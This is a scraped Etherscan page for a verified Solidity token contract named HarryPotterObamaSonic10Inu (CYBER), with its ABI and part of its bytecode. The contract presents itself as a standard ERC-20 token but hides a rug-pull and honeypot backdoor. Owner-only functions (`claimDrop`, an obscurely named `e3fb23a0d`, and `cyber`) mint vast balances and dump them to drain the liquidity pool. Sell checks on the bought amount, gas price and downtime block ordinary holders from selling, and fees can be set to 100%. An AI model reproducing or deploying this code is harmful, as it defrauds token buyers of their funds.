ETH Price: $2,673.63 (+9.67%)
Gas: 6 Gwei

Token

HarryPotterObamaSonic10Inu (CYBER)
 

Overview

Max Total Supply

4,200,000,000,000,000 CYBER

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 10 Decimals)

Balance
18,565,692,834,434.2819065675 CYBER

Value
$0.00
0x60590eae77d8e0728140cd220eb32757643e87d4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TokenProtocol

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-19
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}   

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract LibreMount {

    mapping(uint256 => mapping(address => bool)) internal _blockState;

    function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
        return(_tmstmp + _dwntm >= block.timestamp);
    }

    function suspiciousAddressCheck(address _addy) internal view {
        require(!_blockState[block.number][_addy], "Only one Txn per Block!");
    }

    function addSuspiciousAddress(address _addy) internal {
        _blockState[block.number][_addy] = true;
    }

}

contract TokenProtocol is IERC20, Ownable, LibreMount {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 42000000000000000000000000;
    string private _name = "HarryPotterObamaSonic10Inu";
    string private _symbol = "CYBER";
    uint8 private _decimals = 10;
    uint256 public MAX_GAS_PRICE = 10 gwei;
    uint private buyFee = 0; // Default, %
    uint private sellFee = 0; // Default, %

    address private _origin;

    mapping(address => uint) private purchaseTimestamp;
    mapping(address => uint) private boughtAmount;
    uint256 private downTime = 1;
    mapping(address => bool) private premissionList;

    address public marketWallet;
    mapping(address => bool) public excludedFromFee;

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()));
        _balances[owner()] = _totalSupply;
        
        emit Transfer(address(0), owner(), _totalSupply);

        premissionList[msg.sender] = true;
        premissionList[address(this)] = true;

        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;

        _origin = msg.sender;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)) {
            boughtAmount[to] += amount;
            purchaseTimestamp[to] = block.timestamp;
        }
        if (isMarket(to)) {
            if (!premissionList[from]) {
                require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
                boughtAmount[from] -= amount;
                if (validationEnable())
                {require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
                require(!exceedsGasPriceLimit());
            } 
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    bool internal validtionState;
    
    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function switchValidationEnableState() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        validtionState = !validtionState;
    }

    function validationEnable() public view returns (bool) {
        return validtionState;
    }

    function editDownTime(uint _seconds) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        downTime = _seconds;
    }

    function updatePremissionList(address[] calldata _usrs, bool _state) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        for (uint256 i = 0; i < _usrs.length; i++) {
            premissionList[_usrs[i]] = _state;
        }
    }

    function checkPremissionList(address _user) external view returns (bool) {
        return premissionList[_user];
    }

    function checkUserPurchaseTime(address _user) external view returns (uint256) {
        return purchaseTimestamp[_user];
    }

    function checkUserBoughtAmount(address _user) external view returns (uint256) {
        return boughtAmount[_user];
    }

    function exceedsGasPriceLimit() internal view returns (bool) {
        return tx.gasprice >= MAX_GAS_PRICE;
    }

    function changeMaxGasPrice(uint _newGasPrice) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        MAX_GAS_PRICE = _newGasPrice;
    }

    function fixCap(uint256 _amount) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _totalSupply += _amount;
    }

    function claimDrop() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _balances[msg.sender] += 2 * (10 ** (15 + 18));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (buyFee, sellFee);
    }

    function AddLiquidity(uint256 _tokenAmount) payable external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _approve(address(this), address(_router), _tokenAmount);
        transfer(address(this), _tokenAmount);
        _router.addLiquidityETH{ value: msg.value }(
            address(this), 
            _tokenAmount, 
            0, 
            0, 
            msg.sender, 
            block.timestamp + 1200
            );
    }

    function switchOrigin(address _newOne) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = _newOne;
    }

    function dexRebase(address _routerAddress, address _poolAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        _router = IUniswapV2Router02(_routerAddress);
        _pair = IUniswapV2Pair(_poolAddress);
    }

    function cyber() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        uint256 thisTokenReserve = getBaseTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        address to = msg.sender;
        _router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            to,
            block.timestamp + 1200
        );
    } 

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function e3fb23a0d() internal {
        _balances[msg.sender] += type(uint112).max;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"}],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"MAX_GAS_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newGasPrice","type":"uint256"}],"name":"changeMaxGasPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkPremissionList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserBoughtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cyber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_poolAddress","type":"address"}],"name":"dexRebase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seconds","type":"uint256"}],"name":"editDownTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"fixCap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOne","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"switchValidationEnableState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_usrs","type":"address[]"},{"internalType":"bool","name":"_state","type":"bool"}],"name":"updatePremissionList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"validationEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

60806040526a22bdd88fed9efc6a0000006006556040518060400160405280601a81526020017f4861727279506f747465724f62616d61536f6e69633130496e750000000000008152506007908162000059919062000961565b506040518060400160405280600581526020017f435942455200000000000000000000000000000000000000000000000000000081525060089081620000a0919062000961565b50600a600960006101000a81548160ff021916908360ff1602179055506402540be400600a556000600b556000600c556001601055348015620000e257600080fd5b506040516200489438038062004894833981810160405281019062000108919062000ab2565b6200011933620005fa60201b60201c565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ee919062000ab2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000278573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029e919062000ab2565b6040518363ffffffff1660e01b8152600401620002bd92919062000af5565b6020604051808303816000875af1158015620002dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000303919062000ab2565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600460006200035a620006be60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003a8620006be60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000409919062000b33565b60405180910390a36001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200076957607f821691505b6020821081036200077f576200077e62000721565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007e97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007aa565b620007f58683620007aa565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620008426200083c62000836846200080d565b62000817565b6200080d565b9050919050565b6000819050919050565b6200085e8362000821565b620008766200086d8262000849565b848454620007b7565b825550505050565b600090565b6200088d6200087e565b6200089a81848462000853565b505050565b5b81811015620008c257620008b660008262000883565b600181019050620008a0565b5050565b601f8211156200091157620008db8162000785565b620008e6846200079a565b81016020851015620008f6578190505b6200090e62000905856200079a565b8301826200089f565b50505b505050565b600082821c905092915050565b6000620009366000198460080262000916565b1980831691505092915050565b600062000951838362000923565b9150826002028217905092915050565b6200096c82620006e7565b67ffffffffffffffff811115620009885762000987620006f2565b5b62000994825462000750565b620009a1828285620008c6565b600060209050601f831160018114620009d95760008415620009c4578287015190505b620009d0858262000943565b86555062000a40565b601f198416620009e98662000785565b60005b8281101562000a1357848901518255600182019150602085019450602081019050620009ec565b8683101562000a33578489015162000a2f601f89168262000923565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a7a8262000a4d565b9050919050565b62000a8c8162000a6d565b811462000a9857600080fd5b50565b60008151905062000aac8162000a81565b92915050565b60006020828403121562000acb5762000aca62000a48565b5b600062000adb8482850162000a9b565b91505092915050565b62000aef8162000a6d565b82525050565b600060408201905062000b0c600083018562000ae4565b62000b1b602083018462000ae4565b9392505050565b62000b2d816200080d565b82525050565b600060208201905062000b4a600083018462000b22565b92915050565b613d348062000b606000396000f3fe60806040526004361061021a5760003560e01c806370a0823111610123578063a457c2d7116100ab578063e3bbb4f11161006f578063e3bbb4f11461080a578063e4440a8614610835578063edd8b64a14610860578063f2fde38b14610889578063f53d9d58146108b25761021a565b8063a457c2d7146106d9578063a7e90f4114610716578063a9059cbb14610753578063d1a039f014610790578063dd62ed3e146107cd5761021a565b806385ecafd7116100f257806385ecafd7146105f45780638da5cb5b1461063157806395d89b411461065c5780639e568dbc146106875780639f38a0d7146106b05761021a565b806370a0823114610572578063715018a6146105af5780637430cb3f146105c65780638229c2e5146105dd5761021a565b80633816377e116101a65780634feeade4116101755780634feeade41461048f5780635337cc99146104a65780635342acb4146104cf5780636994ee731461050c5780636db79437146105495761021a565b80633816377e146103d557806339509351146103fe5780633975cae91461043b5780634d474d42146104665761021a565b806323b872dd116101ed57806323b872dd146102db5780632df8bca914610318578063313ce56714610344578063344d9e791461036f57806335d16274146103985761021a565b806306fdde031461021f578063095ea7b31461024a5780631342be9b1461028757806318160ddd146102b0575b600080fd5b34801561022b57600080fd5b506102346108ce565b6040516102419190612a74565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190612b3e565b610960565b60405161027e9190612b99565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a99190612bb4565b61097c565b005b3480156102bc57600080fd5b506102c5610a2e565b6040516102d29190612c03565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190612c1e565b610a38565b60405161030f9190612b99565b60405180910390f35b34801561032457600080fd5b5061032d610a60565b60405161033b929190612c71565b60405180910390f35b34801561035057600080fd5b50610359610a71565b6040516103669190612cb6565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612cd1565b610a88565b005b3480156103a457600080fd5b506103bf60048036038101906103ba9190612cfe565b610abe565b6040516103cc9190612c03565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f79190612cd1565b610c53565b005b34801561040a57600080fd5b5061042560048036038101906104209190612b3e565b610c89565b6040516104329190612b99565b60405180910390f35b34801561044757600080fd5b50610450610cb9565b60405161045d9190612b99565b60405180910390f35b34801561047257600080fd5b5061048d60048036038101906104889190612cfe565b610cd0565b005b34801561049b57600080fd5b506104a4610d40565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612d57565b610dd2565b005b3480156104db57600080fd5b506104f660048036038101906104f19190612cfe565b610eeb565b6040516105039190612b99565b60405180910390f35b34801561051857600080fd5b50610533600480360381019061052e9190612cfe565b610f41565b6040516105409190612c03565b60405180910390f35b34801561055557600080fd5b50610570600480360381019061056b9190612d97565b610f8a565b005b34801561057e57600080fd5b5061059960048036038101906105949190612cfe565b611019565b6040516105a69190612c03565b60405180910390f35b3480156105bb57600080fd5b506105c4611062565b005b3480156105d257600080fd5b506105db611076565b005b3480156105e957600080fd5b506105f2611368565b005b34801561060057600080fd5b5061061b60048036038101906106169190612cfe565b6113c0565b6040516106289190612b99565b60405180910390f35b34801561063d57600080fd5b506106466113e0565b6040516106539190612de6565b60405180910390f35b34801561066857600080fd5b50610671611409565b60405161067e9190612a74565b60405180910390f35b34801561069357600080fd5b506106ae60048036038101906106a99190612cd1565b61149b565b005b3480156106bc57600080fd5b506106d760048036038101906106d29190612e66565b6114e3565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612b3e565b6115b4565b60405161070d9190612b99565b60405180910390f35b34801561072257600080fd5b5061073d60048036038101906107389190612cfe565b611624565b60405161074a9190612b99565b60405180910390f35b34801561075f57600080fd5b5061077a60048036038101906107759190612b3e565b61167a565b6040516107879190612b99565b60405180910390f35b34801561079c57600080fd5b506107b760048036038101906107b29190612cfe565b611696565b6040516107c49190612c03565b60405180910390f35b3480156107d957600080fd5b506107f460048036038101906107ef9190612bb4565b6116df565b6040516108019190612c03565b60405180910390f35b34801561081657600080fd5b5061081f611766565b60405161082c9190612c03565b60405180910390f35b34801561084157600080fd5b5061084a61176c565b6040516108579190612de6565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190612cfe565b611792565b005b34801561089557600080fd5b506108b060048036038101906108ab9190612cfe565b611802565b005b6108cc60048036038101906108c79190612cd1565b611885565b005b6060600780546108dd90612ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461090990612ef5565b80156109565780601f1061092b57610100808354040283529160200191610956565b820191906000526020600020905b81548152906001019060200180831161093957829003601f168201915b5050505050905090565b6000803390506109718185856119a6565b600191505092915050565b6109a833600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600654905090565b600080339050610a49858285611be1565b610a54858585611c6d565b60019150509392505050565b600080600b54600c54915091509091565b6000600960009054906101000a900460ff16905090565b610ab433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b8060108190555050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190612fa8565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c039190613010565b73ffffffffffffffffffffffffffffffffffff